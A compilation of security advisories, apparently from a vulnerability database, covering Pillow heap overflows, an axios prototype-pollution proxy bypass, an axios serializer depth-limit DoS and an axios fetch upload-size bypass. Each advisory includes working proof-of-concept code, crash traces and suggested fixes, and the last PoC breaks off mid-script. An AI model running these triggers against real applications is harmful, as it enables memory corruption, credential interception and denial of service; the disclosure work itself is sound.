Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
`text
double free or corruption (out)
Aborted (core dumped)
`
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
`
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
`c
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
`
ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width`, bounded in practice by successful
image allocation and heap layout.
Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.
Minimal public API trigger:
``python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
`
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
`python
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
`
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
`c
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin
);
`
For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
`c
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
`
src/libImaging/RankFilter.c does contain checks that would reject this size:
`c
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}
`
But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
`python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
`
Observed on local Pillow 12.3.0.dev0 ASAN target:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
`
4-byte write variant with source pixel loaded from normal image bytes:
`python
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
`
Observed ASAN signature:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
`
Version checks:
`text
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
`
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
`c
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
``
Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
Summary
Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.
Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.
Impact
In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.
The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.
This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.
Affected Functionality
Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.
The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:
``js
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
`
Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.
Technical Details
lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.
lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.
lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.
lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.
Proof of Concept of Attack
`js
import axios from './index.js';
import http from 'node:http';
for (const key of [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
]) {
delete process.env[key];
}
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
targetHits.push(req.url);
res.end('target');
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
authorization: req.headers.authorization,
host: req.headers.host,
body
});
res.setHeader('content-type', 'application/json');
res.end('{"server":"proxy"}');
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = http://127.0.0.1:${target.address().port}/api/secret;
const res = await api.post(
url,
{secret: 'request-body-secret'},
{headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
);
console.log({
response: res.data,
targetHits,
proxyHits,
finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
});
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
`
Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.
Workarounds
Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.
Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.
Use the Node fetch adapter for affected requests where its behavior is compatible with the application.
<details>
<summary>Original Report</summary>
Summary
Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable
interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy
is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.
## Impact
In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a
request interceptor that returns a plain object copy of the config.
Verified local impact:
Authenticated request redirection to attacker-controlled proxy.
Disclosure of explicit Authorization headers.
Disclosure of axios-generated Basic auth headers from config.auth.
Disclosure of request metadata: method, absolute URL, Host header.
Disclosure of POST body content.
This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.
## Affected component
The affected component is the Node.js HTTP adapter request path after request interceptors have run.
The issue requires:
Node.js HTTP adapter usage.
A polluted Object.prototype.proxy.
A request interceptor that returns a plain object copy of the config.
No own proxy: false or safe own proxy property on the request config.
## Affected versions
Confirmed affected for this specific hardening-bypass variant:
axios@1.15.2
axios@1.16.0
axios@1.16.0 was the latest published version observed via npm view axios version during validation.
Related older behavior observed during testing:
1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.
## Root cause
1. Initial hardening
Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
2. Interceptor re-materialization
Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-
prototype config back into a normal object with Object.prototype as its prototype.
Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
3. No post-interceptor re-hardening
Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
4. Prototype-chain read of proxy in the Node adapter
The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can
redirect the outgoing authenticated request through an attacker-controlled proxy.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
## Why this is a security issue and not intended behavior
Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The
existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.
This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an
immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.
## Realistic threat model
A realistic exploit chain is:
1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
4. The application sends an HTTP request with credentials or sensitive body data.
5. Axios routes that request through the inherited proxy configuration.
This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.
## Proof of concept
Save as poc.mjs in the axios repository root:
`js
import axios from './index.js';
import http from 'node:http';
const proxyEnvKeys = [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
];
for (const key of proxyEnvKeys) delete process.env[key];
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
targetHits.push({
url: req.url,
method: req.method,
authorization: req.headers.authorization || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'target'}));
});
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
method: req.method,
authorization: req.headers.authorization || null,
host: req.headers.host || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'proxy'}));
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = http://127.0.0.1:${target.address().port}/api/secret;
const explicit = await api.get(url, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
proxyHits.length = 0;
targetHits.length = 0;
const basic = await api.get(url, {
auth: {username: 'svc-account', password: 'prod-secret'}
});
proxyHits.length = 0;
targetHits.length = 0;
const post = await api.post(url, {secret: 'request-body-secret'}, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
console.log(JSON.stringify({
explicitResponse: explicit.data,
basicResponse: basic.data,
postResponse: post.data,
targetHits,
proxyHits,
finalConfigPrototype:
Object.getPrototypeOf(post.config) === Object.prototype
? 'Object.prototype'
: 'other',
finalConfigHasOwnProxy:
Object.prototype.hasOwnProperty.call(post.config, 'proxy')
}, null, 2));
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
`
Run:
`bash
npm ci
node poc.mjs
`
## Observed results
Representative observed output from local loopback testing:
`text
{
"explicitResponse": {"server": "proxy"},
"basicResponse": {"server": "proxy"},
"postResponse": {"server": "proxy"},
"targetHits": [],
"proxyHits": [
{
"url": "http://127.0.0.1:40613/api/secret",
"method": "POST",
"authorization": "Bearer EXPLICIT_SECRET",
"host": "127.0.0.1:40613",
"body": "{\"secret\":\"request-body-secret\"}"
}
],
"finalConfigPrototype": "Object.prototype",
"finalConfigHasOwnProxy": false
}
Additional validation showed axios-generated Basic auth is also disclosed to the proxy:
{
"authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
}
``
That value decodes to:
svc-account:prod-secret
Negative controls were also tested:
No interceptor: target receives request, proxy receives none.
Interceptor mutating and returning the same config object: proxy receives none.
Own proxy: false: proxy receives none.
Null-prototype clone interceptor: proxy receives none.
Fetch adapter in Node with the same interceptor: proxy receives none.
## Suggested remediation
Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.
A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should
also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.
## Minimal regression test
Add an end-to-end Node HTTP adapter test that:
1. Starts a target server and attacker proxy on 127.0.0.1.
2. Sets Object.prototype.proxy to the attacker proxy.
3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
4. Sends a request with an Authorization header.
5. Asserts the target server receives the request.
6. Asserts the attacker proxy receives no request.
7. Asserts the final config no longer exposes inherited proxy.
A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.
## References / permalinks
mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199
Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144
Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135
</details>
OWASP A03LLM01 · Prompt InjectionLLM02 · Insecure OutputOWASP Web
Get guardrail →Axios form serializer maxDepth bypass via {} metatoken
Summary
Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.
An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.
Impact
The impact is availability only. No confidentiality or integrity impact was confirmed.
Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.
The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.
Affected Functionality
Affected paths include:
lib/helpers/toFormData.js when a top-level key ends with {}.
lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor.
lib/helpers/AxiosURLSearchParams.js, used by default params serialization.
Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded.
Unaffected paths include:
Already-created FormData or URLSearchParams values that axios does not walk with toFormData.
Custom paramsSerializer.serialize implementations that do not call axios toFormData.
Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended.
Technical Details
In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:
``js
if (value && !path && typeof value === 'object') {
if (utils.endsWith(key, '{}')) {
key = metaTokens ? key : key.slice(0, -2);
value = JSON.stringify(value);
}
}
`
The depth guard is in build():
`js
if (depth > maxDepth) {
throw new AxiosError(
'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
);
}
`
For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.
Proof of Concept of Attack
Safe local PoC with no network I/O:
`js
import toFormData from './lib/helpers/toFormData.js';
function buildDeep(depth) {
const head = {};
let cur = head;
for (let i = 0; i < depth; i += 1) {
cur.x = {};
cur = cur.x;
}
return head;
}
try {
toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
console.log(err.name, err.code || '', err.message);
}
// Expected affected result:
// RangeError Maximum call stack size exceeded
`
Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.
Workarounds
Reject or depth-limit untrusted objects before passing them to axios serialization.
Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.
For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.
For form bodies, construct FormData or URLSearchParams manually after validating input depth.
<details>
<summary>Original Report</summary>
Summary
The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.
Details
Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:
axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData
Vulnerable code, lib/helpers/toFormData.js:
`javascript
// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...
`
build() later does enforce maxDepth:
`javascript
// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );
`
The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.
The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.
The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:
`javascript
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes
`
The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.
The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:
`diff
if (utils.endsWith(key, '{}')) {
// eslint-disable-next-line no-param-reassign
key = metaTokens ? key : key.slice(0, -2);
// Reject objects that would exceed maxDepth before handing to JSON.stringify,
// which is recursive in V8 and stack-overflows on deeply nested input.
(function checkDepth(v, d) {
if (d > maxDepth) {
throw new AxiosError(
'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
);
}
if (v && typeof v === 'object') {
for (const k in v) checkDepth(v[k], d + 1);
}
})(value, 0);
// eslint-disable-next-line no-param-reassign
value = JSON.stringify(value);
}
`
(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)
PoC
Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:
`javascript
import axios from './source/index.js';
function buildDeep(depth) {
let head = {};
let cur = head;
for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
return head;
}
const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});
// 1. POST x-www-form-urlencoded
try {
await axios.post('http://example.test/x',
{ 'evil{}': malicious },
{ headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
console.log('POST form-encoded:', e.name, '-', e.message);
}
// 2. GET with params
try {
await axios.get('http://example.test/x',
{ params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
console.log('GET params:', e.name, '-', e.message);
}
`
3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:
`
$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded
`
safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.
Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.
Impact
A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}'` to land on the unguarded code path.
</details>
---
Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`
Summary
axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.
This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.
Impact
An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.
This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.
Affected Functionality
Affected:
adapter: "fetch" or environments where axios selects the fetch adapter.
Request methods with bodies, such as POST, PUT, and PATCH.
data as a WHATWG ReadableStream without a reliable Content-Length.
Configurations that set maxBodyLength to a finite value.
Not affected:
Axios versions before the fetch adapter was introduced.
The Node HTTP adapter stream enforcement path.
Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.
Technical Details
In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.
The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().
When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.
The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.
Proof of Concept of Attack
Run from the axios repo root on Node 18+ against an affected version:
``js
import http from 'node:http';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 1024 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();
function makeReadableStream(totalBytes) {
const chunk = new Uint8Array(64 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
